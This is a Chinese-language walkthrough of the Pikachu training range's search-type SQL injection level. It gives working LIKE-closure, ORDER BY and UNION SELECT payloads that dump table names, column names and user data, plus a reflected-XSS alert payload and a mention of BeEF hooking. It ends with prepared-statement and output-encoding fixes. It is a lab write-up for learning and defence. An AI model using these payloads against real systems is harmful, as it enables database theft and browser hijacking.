Pikachu靶场通关笔记(20) — SQL Inject (搜索型注入)

26次阅读
没有评论

摘要 / 前言:
在完成了普通的数字型和字符型注入后,本关将面对“搜索型注入”。这是 Web 应用中最常见的注入场景之一。后端通常使用 LIKE 语句进行模糊查询。本关的难点不仅在于闭合 %',更在于对 MySQL 注释符的正确使用。在实战中,选对注释符往往决定了 Payload 是否生效。


一、核心知识点:为什么 --+ 失败而 # 成功?

在通关过程中,发现直接在搜索框输入 ko%'or 1=1 --+ 会报错,而输入 ko%' or 1=1 # 却能成功注入。这是本关最大的“坑”。

1. MySQL 的注释规则

  • #:从该字符开始到行尾,都视为注释。
  • --(注意后面有个空格):双中划线后 必须紧跟一个空格(Space),MySQL 才会将其识别为注释。如果写成 --+,MySQL 会认为这是语法错误。

2. HTTP 传输与 URL 编码

  • --+ 的原理: 在 URL 地址栏或 Burp Suite 的 Raw 包中,+ 号会被 Web 服务器解码为 空格。所以我们在 URL 里写 ?id=1'--+,服务器收到的是 id=1'--(后面带个空格),从而满足 MySQL 的注释规则。
  • 输入框的差异: 当我们在 网页输入框 里直接打字输入 --+ 并点击查询时,浏览器会将 + 字符进行 URL 编码传输(通常变为 %2B),或者后端直接接收到了字面意义上的 + 符号。
    • 结果: 后端收到的 SQL 变成了 ... --+ ...。因为 -- 后面紧跟着 + 而不是空格,MySQL 不认为这是注释,导致语法报错。
  • # 的优势: # 不需要后面跟空格。虽然 # 在 URL 中作为锚点如果不编码无法传输,但在表单输入框中输入 #,浏览器会正确处理,后端收到后直接闭合,非常方便。

二、注入过程与 Payloads

明确了闭合方式为 %' 且注释符使用 # 后,注入过程就势如破竹了。

1. 验证注入点 (Boolean Verification)

构造逻辑判断,确认注入存在。

  • Payload:
    sql kobe%' or 1=1#
  • 结果: 返回了所有用户的数据,证明逻辑 OR 1=1 生效。
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)

2. 判断字段数 (Order By)

利用 ORDER BY 探测列数。

  • Payload:
    sql ko%' order by 3 #
  • 结果: 页面正常显示。当尝试 order by 4 # 时页面报错或显示异常,确认当前表有 3 列
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)

3. 联合查询获取信息 (Union Select)

利用 UNION SELECT 将我们查询的数据拼接到搜索结果中。

  • 获取当前用户、数据库、版本: ko%' union select user(),database(),version() #
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)
  • 爆表名 (Dump Tables):
    查询 pikachu 库下的所有表。ko%'union select database(),version(),group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)
  • 爆列名 (Dump Columns):
    查询 member 表的所有列。ko%'union select database(),version(),group_concat(column_name) from information_schema.columns where table_schema='pikachu'and table_name='member'#
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)
  • 爆数据 (Dump Data):
    获取用户的详细信息。
    ko%' union select database(),version(),group_concat(username,sex,phonenum) from member #
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)

三、源码深度分析与彩蛋

1. SQL 拼接逻辑

if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];
    // 漏洞点:直接拼接,未过滤
    // 此时需要构造 %' 来闭合前面的部分
    $query="select username,id,email from member where username like'%$name%'";
    $result=execute($link, $query);
    // ...
}

后端使用了 LIKE 模糊查询,且两端都有 %。我们的 Payload 实际上将 SQL 变成了:
select ... like '%ko%' or 1=1#%'
其中 # 注释掉了最后那个多余的 %'

2. 发现 XSS 彩蛋

在阅读源码时,发现了一处代码:

$html2.="<p class='notice'> 用户名中含有 {$_GET['name']} 的结果如下:<br />";

这里直接将用户输入的 $_GET['name'] 输出到了 HTML 页面中,且没有做 htmlspecialchars 处理。
这意味着,这里不仅存在 SQL 注入 ,还存在 反射型 XSS 漏洞!

  • 测试 Payload: <script>alert(1)</script>
  • 如果在搜索框输入上述代码,页面应该会弹出警告框。
  • 可以配合 BeEF 的 hook.js,上线 BeEF。
Pikachu 靶场通关笔记(20) — SQL Inject (搜索型注入)

四、防御修复

  1. SQL 注入防御: 依然首推 预编译语句 (Prepared Statements)// PDO 示例 $stmt = $pdo->prepare('SELECT * FROM member WHERE username LIKE :name'); $stmt->execute(['name' => "%" . $userInput . "%"]); 在绑定参数时才加上 %,这样用户输入的任何符号(包括 '%)都会被当作纯文本处理。
  2. XSS 防御: 在将用户输入输出到浏览器之前,使用实体编码函数。
    php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
正文完
 0
评论(没有评论)